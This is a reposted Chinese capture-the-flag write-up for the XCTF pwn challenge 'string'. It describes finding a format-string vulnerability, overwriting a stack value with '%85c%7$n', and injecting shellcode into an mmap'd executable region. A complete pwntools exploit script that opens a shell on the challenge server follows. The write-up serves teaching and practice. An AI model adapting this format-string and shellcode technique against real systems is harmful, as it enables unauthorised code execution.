[攻防世界 pwn]——string(内涵peak小知识)
生活随笔
收集整理的這篇文章主要介紹了
[攻防世界 pwn]——string(内涵peak小知识)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[攻防世界 pwn]——string
- 題目地址:https://adworld.xctf.org.cn/
- 題目:
peak小知識
mmap函數作用,mmap主要是將文件映射到一段內存去同時設置那段內存的屬性可讀可寫或者是可執行詳情請看mmap & mprotect
在checksec看到開啟了canary和NX,應該和格式化字符串有關。
在IDA中看看,發現側邊欄竟然有mmap函數,這個地方應該是關鍵點,
找到函數位置,想要保證該函數執行,必須保證前兩個函數執行完畢,并且a1 == a1[1], 跟前面找會發現a1其實就最開始的v3,而v3 = 68, v3[1] = 85。我們只要修改一個就好。
在下面我們發現了有格式化字符串的漏洞可以利用修改
下面就開始逐步書寫exploit
- 接受v3地址
- 進入sub_4000D72()
- 進入sub_400A7D()并退出
- 進入sub_400BB9()修改*v3并退出
- 進入sub_400CA6()輸入shellcode 并執行
exploit
from pwn import * p = remote('111.200.241.244',57138) p.recvuntil("secret[0] is ") v3_0_addr = int(p.recvuntil("\n")[:-1], 16) log.info("v3_0_addr:" + hex(v3_0_addr))p.recvuntil("character's name be:") p.sendline("peak")p.recvuntil("east or up?:") p.sendline("east")p.recvuntil("there(1), or leave(0)?:") p.sendline("1") p.recvuntil("'Give me an address'") p.sendline(str(v3_0_addr)) p.recvuntil("you wish is:") p.sendline("%85c%7$n")context(os='linux',arch='amd64') shellcode = asm(shellcraft.sh()) p.recvuntil("USE YOU SPELL") p.sendline(shellcode) p.interactive()總結
以上是生活随笔為你收集整理的[攻防世界 pwn]——string(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [攻防世界 pwn]——level0
- 下一篇: [攻防世界 pwn]——guess_nu